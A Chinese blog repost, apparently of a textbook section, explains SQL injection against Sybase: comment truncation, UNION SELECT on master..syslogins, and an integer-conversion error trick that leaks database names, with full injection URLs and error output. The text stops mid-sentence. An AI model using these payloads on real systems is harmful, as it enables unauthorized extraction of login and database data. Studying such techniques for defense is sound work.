Sybase内的MS SQL Server 注入技术

本文详细探讨了Sybase系统内的MS SQL Server注入技术,包括注释利用、Union Select、错误消息利用、全局变量 @@version 获取、SQL批处理注入、存储过程如xp_cmdshell的使用,以及如何通过时间延迟作为通信通道来提取数据库信息。通过这些技术,攻击者可能获取敏感信息或执行恶意操作。
摘要由CSDN通过智能技术生成

14.3 Sybase内的MS SQL Server 注入技术
有大量的关于Microsoft SQL Server应用程序内SQL注入的文章被发表,这是因为Sybase 和MS SQL Server有共同的来源,值得快速研究一下这个著名的技术和其在Sybase内的工作方式。

14.3.1 注释
Sybase使用“--”和“/*”注释风格,这种方式与MS SQL Server非常一致,因此可以利用“--”序列以同样的方式截短查询。过度精神紧张是不明智的—— 因为采取使注释序列无效的方法总是有可能完成查询的。例如,在前面的UNION SELECT示例中,

http://sybase.example.com/servlet/BookQuery?searchsl234')+union+select+

name,null,null,null,null,null,null,null,null,0+from+master..syslogins--

可以用一个不必要的or来结束查询:

http://sybase.exainple.com/servlet/BookQuery?searchsl234')+union+select+name, null, null, null, null, null, null, null, null, 0+from+master. . syslogins+

where+l=l+or+('a'='a

用这种方式可以使整个查询在语法上保持正确。一般的,多余的or操作符在where从句内可以工作,或者(如果正在注入批处理语句)在批处理后面附加select。

14.3.2 Union Select
正如您刚才所看到的,union select语句几乎以完全相同的方式工作。

14.3.3 错误消息
Sybase错误消息几乎和MS SQL Server错误消息一样有用。特别是“整数转换”(integer conversion)技巧完全相同。利用该技巧,攻击者故意把VARCHAR类型的数据强制转换为整数,目的是引发包含了真实的VARCHAR数据的错误消息。例如,为了获取服务器上数据库的列表,可以使用如下所示的查询:

select name from master..sysdatabases order by name

为了在我们的示例中获得同样的结果,使用整数转换技术,发送请求:

BookQuery?search=')+and+l=convert(integer,(select+min(name)+from+

sysdatabases+where+name>''))--

这将返回如下所示的消息:

com.Sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit

conversion of VARCHAR value 'master' to a INT field.

可见,错误消息包含了字符串master,这是结果集的第一行记录。为了得到下一条,修改查询以便select大于master的最小值,于是:

BookQuery?search=')+and+l=convert(integer,(select+min(name)+from+

sysdatabases+where+name>'master'))--

错误消息返回字符串model。用这种方式,迭代查询所有的行记录,直到select不能返回进一步的

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值